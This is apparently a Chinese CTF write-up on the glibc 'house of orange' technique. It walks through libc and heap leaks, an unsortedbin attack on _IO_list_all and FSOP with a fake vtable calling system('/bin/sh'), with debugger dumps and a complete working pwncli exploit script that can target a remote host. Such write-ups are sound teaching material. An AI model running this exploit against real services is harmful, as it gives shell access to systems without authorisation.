0x55a83df5e3b0  0x0000000000000000      0x0000000000000000      ................
0x55a83df5e3c0  0x0000000000000000      0x0000000000000000      ................

如何从unsortedbin chunk中一次性拿到heap leak和libc leak?

接下来有个细节:第三次申请需要大小为largebin size且大小不等于unsortedbin chunk size!

从这个unsortedbin chunk中申请内存,不会直接触发remainder来切割,而是跳过了这个部分走后续的流程:

  1. 把unsortedbin chunk装入largebin
  2. 从largebin中取出进行切割分配
  3. 把切剩下的部分装回unsortedbin

只有largebin size的申请才会走这个流程,chunk才有指向堆地址的nextsize指针,所以需要申请一个largebin size!

当申请0x300的时候,堆:

0x55bd81c63390  0x0000000000000000      0x0000000000000021      ........!.......
0x55bd81c633a0  0x000055bd81c636d0      0x000055bd81c633c0      .6...U...3...U..
0x55bd81c633b0  0x0000000000000000      0x0000000000000311      ................
0x55bd81c633c0  0x6262626262626262      0x00007f85e3c34b78      bbbbbbbbxK......
0x55bd81c633d0  0x0000000000000000      0x0000000000000000      ................

当申请0x500的时候,堆:

0x55f95d0c3390  0x0000000000000000      0x0000000000000021      ........!.......
0x55f95d0c33a0  0x000055f95d0c38d0      0x000055f95d0c33c0      .8.].U...3.].U..
0x55f95d0c33b0  0x0000000000000000      0x0000000000000511      ................
0x55f95d0c33c0  0x6262626262626262      0x00007f4f97d04168      bbbbbbbbhA..O...
0x55f95d0c33d0  0x000055f95d0c33b0      0x000055f95d0c33b0      .3.].U...3.].U..

通过填充该内存的垃圾数据来完成libc leakheap leak

leak = show()[8:]
leak = unpack(leak,'all')
io_list_all = leak + 0x3b8
libc.address = leak-0x3c5168
success(f"leak => {hex(leak)}")
success(f"_IO_list_all => {hex(io_list_all)}")

# leak heap address 
edit(0x500,'s'*16,123,2)
leak_heap = show()[16:]
leak_heap = unpack(leak_heap,'all')
heap_address = (leak_heap >> 12) << 12
success(f"heap leak => {hex(leak_heap)}")
success(f"heap base => {hex(heap_address)}")
success(f"libc base => {hex(libc.address)}")

house of orange:stage2 - Unsortedbin Attack & FSOP

思路:

  1. 修改 unsortedbin chunk:

    1. 修改 size 为 0x61(至关重要,下面解释)
    2. 修改fd为0,bk_IO_list_all-0x10
    3. 修改prev_sizeb'/bin/sh\x00'
  2. 以这个unsortedbin chunk ptr为基础,伪造_IO_list_all结构,满足以下条件

    1. write_base < write_ptr
    2. mode <= 0
    3. vtable[3] = libc.sym.system
  3. 触发漏洞

# prepare a fake _IO_list_all 
target = libc.sym.system
payload = flat({
    0x508:pack(0x21),
    0x520:b'/bin/sh\x00',
    0x528:pack(0x61),
    0x530:pack(0) + pack(io_list_all-0x10),
    0x540:pack(2) + pack(3),
    0x5e0:pack(0),
    0x520+0xd8:pack(heap_address + 0x9b8),
    0x520+0xd8+0x18:pack(target)
},filler='\x00')    # file.mode <= 0

edit(0x800,payload,12,2)

# trigger unsortedbin & exit
sl('1')

伪造的overflow函数是怎么被找到执行的?

经过Unsortedbin Attack,会损坏 Unsortedbin,导致第二次malloc的时候导致程序出错退出,从而触发_IO_flush_all_lockp

在Unsortedbin Attack的时候,会向指针_IO_list_all写入unsortedbinarena中的地址,此时的_IO_list_all是指向arena中的地址的,触发奔溃的时候,会从此处开始遍历IO_FILE,并满足条件就调用overflow函数

起始的_IO_list_all

pwndbg> p**&_IO_list_all
$2 = {
  file = {
    _flags = -1391456240,
    _IO_read_ptr = 0x5632ad0df8e0 "/bin/sh",
    _IO_read_end = 0x5632ad0df8e0 "/bin/sh",
    _IO_read_base = 0x7fd15b716510 "",
    _IO_write_base = 0x7fd15b715b88 <main_arena+104> "\340\370\r\255\062V",
    _IO_write_ptr = 0x7fd15b715b88 <main_arena+104> "\340\370\r\255\062V",
    _IO_write_end = 0x7fd15b715b98 <main_arena+120> "\210[q[\321\177",
    _IO_buf_base = 0x7fd15b715b98 <main_arena+120> "\210[q[\321\177",
    _IO_buf_end = 0x7fd15b715ba8 <main_arena+136> "\230[q[\321\177",
    _IO_save_base = 0x7fd15b715ba8 <main_arena+136> "\230[q[\321\177",
    _IO_backup_base = 0x7fd15b715bb8 <main_arena+152> "\250[q[\321\177",
    _IO_save_end = 0x7fd15b715bb8 <main_arena+152> "\250[q[\321\177",
    _markers = 0x5632ad0df8e0,
    _chain = 0x5632ad0df8e0,			# 划重点!!!
    _fileno = 1534155736,
    _flags2 = 32721,
    _old_offset = 140537159048152,
    _cur_column = 23528,
    _vtable_offset = 113 'q',
    _shortbuf = "[",
    _lock = 0x7fd15b715be8 <main_arena+200>,
    _offset = 140537159048184,
    _codecvt = 0x7fd15b715bf8 <main_arena+216>,
    _wide_data = 0x7fd15b715c08 <main_arena+232>,
    _freeres_list = 0x7fd15b715c08 <main_arena+232>,
    _freeres_buf = 0x7fd15b715c18 <main_arena+248>,
    __pad5 = 140537159048216,
    _mode = 1534155816,
    _unused2 = "\321\177\000\000(\\q[\321\177\000\000\070\\q[\321\177\000"
  },
  vtable = 0x7fd15b715c38 <main_arena+280>
}

要执行vtable的overflow,需要满足的条件之一就是mode<=0,arena中的这个位置有时候是负数有时候是正数

如何去寻找下一个FILE结构呢,通过_chain字段,这是个链表通过_chain连接,该字段刚好位于smallbin 0x60的位置,所以需要在这里填上一个我们伪造的_IO_FILE_plus结构,那就是刚刚把unsortedbin chunk size修改成0x61的原因

再来回顾一下Unsortedbin Attack的过程:

  1. 首先是遍历unsortedbin chunk,首先第一个是没啥问题的,正常断链装入smallbin
  2. 遍历到第二个chunk的时候,由于第一个chunk伪造了fd和bk导致unsortedbin损坏,引起报错执行malloc_printerr

该chunk是在这个时候进入smallbin的

完整exp:

#!/usr/bin/env python3
# Date: 2024-01-10 10:54:52
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

def cmd(i, prompt='Your choice :'):
    sla(prompt, i)

def add(nb,name,nb2,color):
    cmd('1')
    sla('Length of name :',str(nb))
    sa('Name',name)
    sla('Price of Orange:',str(nb2))
    sla('Color of Orange:',str(color))
  
    #......

def show():
    cmd('2')
    ru('Name of house : ')
    return rl()[:-1]
    #......

def edit(nb,name,nb2,color):
    cmd('3')
    sla('Length of name :',str(nb))
    sa('Name',name)
    sla('Price of Orange:',str(nb2))
    sla('Color of Orange:',str(color))

def dele():
    cmd('4')
    #......


# i need a unsortedbin chunk
# i need libc leak

# 没有free,没法轻易释放chunk
# 但是有溢出,可以释放top chunk,拿到一个unsortedbin chunk
# 然后呢?伪造count所在chunk的hdr,导致合并,使用show触发UAR漏洞拿到libc leak的同时拿到 unsortedbin chunk!


# edit top size < 0x1000
size1 = 0x308
add(size1,'a',0x400,1)
edit(size1+0x28,flat({
    size1:pack(0x21),
    size1+0x20:pack(0x1000 - 0x20 -0x20 - (size1+0x8) + 1)
}),0x400,1)

# alloc a chunk size > top size
# trigger top grow
add(0x1000,'a',123,1)
add(0x500,'b'*8,123,4)

leak = show()[8:]
leak = unpack(leak,'all')
io_list_all = leak + 0x3b8
libc.address = leak-0x3c5168
success(f"leak => {hex(leak)}")
success(f"_IO_list_all => {hex(io_list_all)}")

# leak heap address 
edit(0x500,'s'*16,123,2)
leak_heap = show()[16:]
leak_heap = unpack(leak_heap,'all')
heap_address = (leak_heap >> 12) << 12
success(f"heap leak => {hex(leak_heap)}")
success(f"heap base => {hex(heap_address)}")
success(f"libc base => {hex(libc.address)}")

# prepare a fake _IO_list_all 
target = libc.sym.system    # 【疑问】参数为什么是 chunk addr ?
payload = flat({
    0x508:pack(0x21),
    0x520:b'/bin/sh\x00',
    0x528:pack(0x61),
    0x530:pack(0) + pack(io_list_all-0x10),
    0x540:pack(2) + pack(3),
    0x5e0:pack(0),
    0x520+0xd8:pack(heap_address + 0x9b8),
    0x520+0xd8+0x18:pack(target)
},filler='\x00')    # file.mode <= 0

edit(0x800,payload,12,2)

# trigger unsortedbin & exit
sl('1')

ia()

参考资料:


评论